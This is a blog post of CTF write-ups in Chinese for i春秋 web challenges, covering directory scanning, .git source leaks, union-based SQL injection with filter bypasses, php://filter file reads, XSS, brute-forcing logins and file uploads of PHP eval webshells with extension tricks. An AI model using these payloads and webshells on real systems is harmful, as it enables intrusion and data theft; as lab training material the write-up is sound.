i春秋web题

原创

MS02423 于 2022-03-28 22:22:47 发布 3441 收藏
文章标签： web安全

3.21
1.题目名称:常见的搜集　　题目内容:一共3部分flag　　敏感文件
解题思路:用dirsearch扫描网站，发现三个文件robots.txt，index.php~，.index.php.swp,
dirsearch -u http://eci-2zegi8jh6a7iw18p2ptc.cloudeci1.ichunqiu.com/　我们依次访问就可以得到flag
2.题目名称：粗心的小李　　题目内容：看看能不能找到信息吧？　　Git测试
解题思路:根据题目我们可以知道是.git源码泄露，我们使用githack工具即可，
python GitHack.py http://eci-2zej5nwlszgdqx0kozsx.cloudeci1.ichunqiu.com:80/.git　然后打开index.html即可得到flag
新的知识:我们可以在kali中使用scrabble工具，命令如下:sudo ./scrabble http://eci-2zee7r7jb29cujakilwp.cloudeci1.ichunqiu.com/
git log --stat　ls　vim index.html
3.题目名称：SQL注入-1　　题目内容：SQL注入-1　　SQL注入
解题思路:根据判断知道是字符型注入　新的知识:?id=1' order by 2-- -　order by 2 --+
我们知道列数是3列，我们知道显错点是2或者3，　如果是3列:select 1,group_concat(),3 from ...　如果是2列:select 1,group_concat() from ...
数字型:-1　字符型:1' order by 3#
?id=-1' union select 1,2,3 -- -
?id=-1' union select 1,database(),3 -- -
?id=-1' union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='note' -- -
?id=-1' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='fl4g' -- -
?id=-1' union select 1,group_concat(fllllag),3 FROM fl4g -- -
4.题目名称：SQL注入-2　　题目内容：SQL注入-2　　SQL注入
解题思路:打开之后没有思路，我们打开源代码知道在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦，
使用bp抓包之后我们可以知道是盲注，登录页面使用脚本执行SQL注入.　新的知识：selselectect ununionion
3.22
5.题目名称：afr_1　　题目内容：afr_1　　任意文件读取漏洞
解题思路:打开页面之后，没有如何思路，我们就使用dirsearch工具进行扫描，发现了flag.php,我们带入里面，但是没有如何反应,回过头来我们看题目是任意文件读取漏洞，所以我们使用:?p=php://filter/read=convert.base64-encode/resource=flag,然后用base64解密就可以得到flag.
新的知识:?p=php://filter/read=convert.base64-encode/resource=flag
6.题目名称：afr_2　　题目内容：afr_2　　任意文件读取漏洞
解题思路:打开页面发现是一张图片，我们使用dirsearch工具进行扫描,我们发现了img，输入之后页面出现有../,所以我们输入img../,发现有flag，下载flag即可得到flag
7.题目名称：afr_3　　题目内容：afr_3　　任意文件读取漏洞
解题思路:研究了半天不会,但是根据1,2的flag，猜测出flag，结果对了。

8.题目名称：XSS闯关　　题目内容：你能否过关斩将解决所有XSS问题最终获得flag呢?
解题思路:我们打开页面发现是xss，我们使用最简单的xss攻击<script>alert(/xss/)</script>,发现过关了，我们发现level1变成了2，所以我们可以依次修改level，直到level7出现了flag。
3.25
题目名称：Upload　　题目内容：想怎么传就怎么传，就是这么任性。tips:flag在flag.php中　文件上传
解题思路:根据题目名称我们可以这是个文件上传，我们上传一句话木马，然后打开之后发现过滤了？和php,然后上网查到:
<script language="pHp">@eval($_POST['123'])</script> 上传之后我们复制网站到菜刀中:http://eci-2ze0hapfhvu8713cktv1.cloudeci1.ichunqiu.com/u/zb.php,根据题目内容我们知道flag在falg.php 中，然后打开var/www/html/flag.php即可.
题目名称：YeserCMS已解答　　题目内容：新的CMS系统，帮忙测测是否有漏洞。tips:flag在网站根目录下的flag.php中
解题思路:
3.27
题目名称:SQL　　题目内容：出题人就告诉你这是个注入，有种别走！　SQL注入
解题思路:我们根据题目就知道是SQL注入，可以看出是数字型注入，我们开始判断列，我们输入order by 4 是没有反应，我们猜出过滤了order，所以我们使用<>绕过过滤，后面使用常规的SQL注入步骤即可
绕过过滤:sele<>ct,ord<>er.　使用<>
题目名称：SQLi　　题目内容：后台有获取flag的线索　　逗号过滤使用join　select * from ....
%23表示#　　%27表示'　　-- -
解题思路:新的知识:join表示逗号 ，l0gin
判断字段个数 （SQL语句出错时，id原样输出）
payload:l0gin.php?id=1' order by 3 -- -　　order by 3 时就会报错。
4. 查询数据库名
采用join方式
l0gin.php?id=4%27 union select * from (select 1) a join (select group_concat(table_name) from information_schema.tables where table_schema=database()) b %23
5. 查询表名
l0gin.php?id=4%27 union select * from (select 1) a join (select GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME='users') b %23
6. flag
http://c3084761df8c4b1c91ddf64fd8c2ed4f22bb2637d78e4132.changame.ichunqiu.com/l0gin.php?id=4%27 union select * from (select 1) a join (select flag_9c861b688330 from users) b %23
3.28
题目名称：123已解答　　题目内容：12341234，然后就解开了　bp+文件上传
解题思路:我们打开页面它是一个登录页面，我们打开源码里发现提示，用户名+出生年份就是密码，用zhangwei和zhangwei1999试了一下，登陆失败，
如何我们输入user.php没有反应，想到备份文件输入user.php.bak下载此文件，我们可以想到是暴力破解，所以我们使用bp发送到测试器，使用用Cluster Bomb激素炮模式，用户名，密码+生日，1:简单清单-导入文件，2:复制其他负载-1，　3:数值-1990 2000 1　然后进行攻击成功得到用户名和密码。
登陆成功，发送是一个空白页面，查看源码,直接f12删掉注释，发现是个文件上传
直接上传一句话木马失败
只允许上传.jpg,.png,.gif,.bmp后缀的文件
改文件名为2.jpg，一句话内容如下
<?php @eval($_POST[cmd]);?>
burpsuite抓包改名为php，提示文件名不能出现php，于是改成别名pht，然后提示文件内容有问题。。。。还是上传个普通图片试试吧
php别名：php2, php3, php4, php5, phps, pht, phtm, phtml
上传普通图片1.jpg依旧返回文件格式不符合要求，依旧抓包，改名为1.jpg.pht
返回了一个view.php页面，直接访问

应该是要一个file参数，构造payload：view.php?file=flag
就是过滤掉flag嘛，简单，flflagag就能绕过